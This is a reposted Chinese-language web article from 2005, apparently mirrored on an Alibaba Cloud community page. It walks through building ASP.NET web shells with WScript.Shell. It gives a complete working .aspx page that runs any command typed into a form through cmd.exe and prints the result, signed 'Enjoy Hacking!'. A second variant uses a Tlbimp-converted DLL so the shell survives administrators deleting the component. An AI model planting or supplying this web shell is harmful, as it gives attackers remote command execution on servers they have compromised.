ASP.NET下使用WScript.Shell執行命令

來源:互聯網
上載者:User

ASP.NET提供了兩種方法讓我們使用COM組件:1、Server對象的CreatObject方法;2、將COM組件轉化為.NET組件。

·Server對象的CreatObject方法
這個方法比較簡單,直接使用就是。當然前提是伺服器上已經註冊了該組件,而WScript.Shell是系統內建的,我們不用擔心。只是在編寫代碼時注意ASP.NET與ASP文法上的細微差別就可以了。直接給出代碼如下:
<!--
Titel: WScript.Shell .NET Version 1
Author: lake2
Mail: lake2@mail.csdn.net
Site: http://lake2.0×54.org
Thanks: Internet
Date: 2005-8-20
–>
<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As Object
CMDShell = Server.CreateObject("WScript.Shell")
StrResult = CMDShell.eXec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall
StrResult = Replace(StrResult , "<","<")
StrResult = Replace(StrResult , ">",">")
ResultLabel.Text = "<pre>" & StrResult & "</pre>"
end sub
</script>
<html>
<head><title>WSH.SHell For ASP.NET By lake2</title></head>
<body>
<form runat="server">
"cmd.exe"'s path: <asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" />
<br>
Your Command: <asp:TextBox ID="CMDBox" Width="200" runat="server" />
<asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />
<br>
<asp:Label ID="ResultLabel" runat="server" />
</form>
<div align="center">———– <font color="#0000FF">Enjoy Hacking!</font> ———–
</div>
<hr width="50%">
</body>
</html>
儲存為aspx檔案,訪問之,即可。

·將COM組件轉化為.NET組件
微軟給我們提供了類型庫匯入器(Type Library Importer),經過它的轉換,我們就可以使用COM組件了。轉換之後,會有一個dll檔案,需要放到Web目錄的bin目錄下組件才可以被使用。
雖然這樣多了一個dll,但是這個dll不需要註冊就可直接使用,非常方便,這也是ASP.NET與ASP的區別之一。哈哈,有的BT管理員沒事要刪除“有害”的組件,現在他也沒辦法了吧^_^
WScript.Shell對象是%windir%\system32\WSHom.Ocx,我們把它copy出來拿給類型庫匯入器轉換:Tlbimp.exe WSHom.Ocx /out: WSHomx.dll
然後把WSHomx.dll放到WEB目錄的bin下面。接著寫代碼咯,與前面的代碼有少許不同。

<!--
Titel: WScript.Shell .NET Version 2
Author: lake2
Mail: lake2@mail.csdn.net
Site: http://lake2.0×54.org
Thanks: Internet
Date: 2005-8-20
–>
<%@ Page Language="VB" validateRequest="false"%>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As New WSHomx.WshShell
……
(後同代碼1)
現在訪問之,看看效果吧:)

同理,我們也可以在ASP.NET下用FSO讀寫檔案,Application執行命令、Jmail發送郵件,等等等等。呵呵,.NET大有前途的啊。
(文中的程式點擊這裡下載。wscmd.aspx可直接使用;wsxcmd.aspx需使用wshomx.dll)

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.